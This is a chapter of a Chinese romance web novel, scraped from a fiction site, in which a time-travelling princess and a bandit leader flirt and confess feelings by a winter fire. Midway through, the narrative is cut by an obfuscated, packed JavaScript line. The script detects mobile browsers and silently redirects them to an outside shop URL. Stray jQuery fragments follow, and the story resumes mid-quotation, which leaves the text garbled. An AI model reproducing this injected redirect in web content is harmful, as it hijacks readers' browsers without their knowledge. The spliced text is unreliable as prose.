文趣网 > 其他小说 > 枭雄被我渣后 > 9. 挑逗
    李漪笑了笑,恢复记忆后,她的胆子大了些,也就是从悬崖上走钢丝到悬崖上走木板的感觉吧。

    她冲段寄奴眨了眨眼:“所以,今夜你来不来?”

    说着,拉着段寄奴的手进入室内,将梅花找了个最好看的角度,插在青花如意梅瓶中。

    然后坐下来烤火,等到火的温度慢慢传递到手心,才再次微笑着看着眼前人:“谢谢你的喜欢。”

    段寄奴心头一颤:“你没事儿吧?”他的大手下一秒就覆盖上了李漪的额头,皱着眉头观察了好一会儿,才接着说:“也没发烧啊!”

    李漪看着眼前人的关切,有些动容,自从穿越到古代之后,她真的很少享受到这样毫不掩饰的关心了。

    不过,还好。

    这次失忆,也算是因祸得福,让她想起来了现代的很多事情,她才不是没有人要的二公主,她也是爸爸妈妈的小骄傲。

    北风紧,白雪皑,朔风卷着碎雪,拍得窗棂簌簌作响。

    又冷了几分,李漪正想悄悄往炉边挪半步,腕间忽然一紧。

    段寄奴那双骨节分明的手就覆在了她的手上,力道沉稳,带着不容拒绝的强势。她微怔,抬眼便撞进男人深不见底的眸子里。

    段寄奴没说话。他明明肩头还凝着未化的雪沫,周身仿佛还带着凛冽。可此刻,他却垂着眸,只是专注地为她捂着手。

    李漪很少得到这样的待遇,她本不应该为这一刻心动,但是可能由于那深宫记忆实在寒冷,她心间还是不可避免地裂开了一条缝。

    李漪不想让自己沉沦于此,所以她开启了自己的防沉迷系统:“诗会怎么办?我不擅长诗词,你呢?”

    她早就知道他也不擅长,她只是想要借机逃离。

    但他没给她抽手的机会,直接攥着她的手腕,得寸进尺,撩开自己的衣襟。

    一股温热的气息扑面而来,带着他身上独有的青草的味道,还有胸膛沉稳的温度。她的手被他轻轻按在那片温热里,贴在他的心口,隔着一层中衣,能清晰地感受到他有力的心跳,一下,又一下,沉稳而有力。

    李漪咽了咽口水,再往下,似乎是腹肌?

    段寄奴眯了眯眼,像是看透了李漪的想法,玩味地一直盯着李漪的眼睛看:“有心事?”

    李漪下意识想要逃避,这样具有侵略性的目光,着实叫人招架不住:“嗯,可能吧。”

    她想要抽回手,但是却被他死死按住:“和我有关?”段寄奴靠近她的耳边,呼出的热气扑打在她的耳边,泛起一阵阵红。

    “我也有心事,也和你有关。你说,我们算不算是惺惺相惜?”

    看着李漪犹犹豫豫地表情,段寄奴突然将李漪拉入怀中,李漪的手也被两人的身体紧紧夹住,动弹不得。他的怀抱很暖,暖得让她几乎要沉溺其中。

    段寄奴在她的脖颈处,深深吸了一口气,半是陶醉地说:“我这已经度过的一生,跌宕起伏,也自认潇洒,可是自从遇到了你,我也有放不下的人了。”

    李漪诧异呆住,过了好久,才问道:“怎么了?发生什么事儿了?”她的计划可是要回山寨稳步开展的,不会出什么岔子了吧?

    段寄奴摸着李漪柔顺的长发,不舍地开口:“真希望我们能在一直在一起。”

    亲眼见证这哥疯狂立下flag,李漪连忙打断:“说什么呢?我们当然会的啊!”

    听到这话,段寄奴反倒有些不好意思了,他不自觉望向窗外的梅花。

    他深吸一口气,手将刀握的更紧了些,他将自己偷偷藏起来的一小朵梅花,别在了她的衣襟。

    段寄奴笑着说:“你真的喜欢梅花吗?”

    喜欢梅花吗?他是想要通过这个问题窥知什么样的真相呢?

    李漪谨慎地没有开口。她怕暴露自己。

    但是段寄奴却不依不饶。

    他指腹本还贴着她的手背,在她思考中,心口慌得小鹿乱撞时,忽然微微用力,带着她的手,缓缓往下移。

    那动作极缓,却带着不容抗拒的掌控力。她的指尖先是擦过他温热的胸肌,跟着便触到一片截然不同的肌肤上。

    不再是心口的柔软温热,而是隔着一层薄薄中衣,依旧能清晰感受到的、紧实硬挺的线条。

    她的呼吸猛地一滞,整个人都僵住了。

    那是独属常年锻炼练出来的腹肌。线条流畅利落,没有半分赘余的肉,每一寸都透着力量感。她的手被他按在上面,能清晰地感受到那下腹部的紧实,甚至能隐约触到肌肉的轮廓,硬实却又带着人体的温热,与他身上的杀伐之气完美契合。

    他拉着李漪的手,问:“你喜欢梅花,还是喜欢别的什么?”

    “你!放肆!”她记忆混乱,一时不知道该怎么面对,用什么样的经验面对,只能被本能牵着走,连耳根都烧了起来,挣扎着想要抽回手,口不择言,“你、你放开!”

    他却偏不放。

    段寄奴低眸看着她,琥珀色的眼底忽然漾开一丝极淡的、带着戏谑的笑意。

    那笑意极浅,是冰雪初融,是暗夜寒星,带着一种惊心动魄的蛊惑。他的手掌紧紧裹着她的手,故意让她的指尖在那片紧实的腹肌上轻轻摩挲了一下,感受着那独有的手感。

    “慌什么?”他的声音低沉沙哑,带着一丝慵懒的笑意,却又透着不容置喙的威严,“你说呀,喜欢吗?”

    李漪脑子已经一片浆糊了。

    他的呼吸拂过她的发顶,带着温热的气息。她的手被他按在那片紧实的腹肌上,动弹不得。那温热的触感,那紧实的线条,还有他身上独有的青草味,交织在一起,让她的心跳快得像是要跳出胸腔。

    窗外的风雪依旧,拍打着窗棂,发出簌簌的声响。殿内的火烧得正旺,暖得让人昏昏欲睡。可她的手,却被他按在那片紧实的腹肌上,烫得像是要烧起来。

    李漪支支吾吾地说:“我喜欢的东西很多……梅花很好,牡丹什么的也不错。”

    段寄奴倒是没有发现她的博爱,只是皱着眉头喃喃:“梅花还是雪中好看,不过牡丹的话,我觉得还是要金玉富贵中,更具风采。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567288|204803||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    “像是后妃头上,用金丝银线,攒珠弄玉,用最手巧的匠人,戴在美人如云发髻上,方才最美。”

    “你戴着一定很好看。”

    李漪笑了笑,没说话,只是在心中默默反驳:偏见啊!

    段寄奴看着李漪头上空落落的,声音低沉下来,反倒显得有几分温柔:“你还是喜欢牡丹吧!我想把世间最好的牡丹,插在你的发间。”

    李漪失笑,虽然心里被哄得有几分开心,嘴上却不饶人:“大当家的,这番话是吃了蜜才说出来的吧。坦白从宽,这番话,对几个女子说过了?”

    段寄奴这次却并没有戴着往常吊儿郎当的笑,反而格外认真:“只有你。能走进我心里的,只有你。”

    宫中规矩森严,现代要求严苛,她第一次被如此直接的告白震慑。

    她的手,早已被他暖得温热。可她的心,却像是被投入了一颗火种,瞬间燃起了熊熊烈火,烧得她整个人都晕头转向,不知今夕何夕。

    她想要强迫自己冷静下来,可是却不受控制地幻想。

    好暖和,她看着眼前双手交织。不由得想起了记忆中最快乐的时光。

    在现代,一家人都住在一起,虽然不豪华奢侈,却有说不出的满足,不管多晚,只要她从学校回来,都能看到那亮着的那盏灯。

    只要走近那盏灯,就能吃到家常口味的妈妈牌饭菜。

    而不是宫廷中的檐牙高啄,山石荤确,乱花迷人眼。她再一次发现了,自己只是讨厌,只是讨厌宫中的浮华虚荣。

    看着那盏白昼中依然亮着的灯,她脱口而出:“你会一直等着我吗?”

    话出口,她都有些震惊。

    段寄奴并没有察觉到,不动声色的冰层下的惊涛骇浪,只是凭借狼一般的直觉,低头简简单单“嗯”了一句。

    虽然戴着些不知所措的僵硬,也透露着一种不惧未来的傲气,带着些“能奈我何”的意味。

    李漪沉默了很久,过了好半天才笑了起来。

    她的手还贴在那片紧实的肌肉上,温热的触感透过薄衫传过来,带着令人心安的力量。先前的惊惶、羞怯与不安,像是被这股温热缓缓熨平,睫羽轻颤着,垂落下去,遮住了眼底最后一点慌乱。

    她唇角微微勾起,漾开一抹柔软的弧度,带着几分无奈,几分了然,还有几分连她自己都未曾察觉的纵容。

    纵然他和她直接,隔着太多太多的秘密,可此刻,他将她的手护在怀里,用自己的体温暖着她,这份温存,却是真实的。

    原来,被这样一个人护着,是这样的感觉。

    她很久没有体验过了。她决定给自己一个小小的喘息的机会,让自己在这片温柔乡中再沉浸一会儿,就一会儿。

    她很快就可以再重新站起来,变得无坚不摧。

    她一副心满意足的模样:“我有你,就够了。”

    她的手指在他的心口处打转,另一只手捻起肩头一缕垂落的发丝,缠绕在手指上,做出漫不经心的样子:“你呢,君心是否似我心呢?”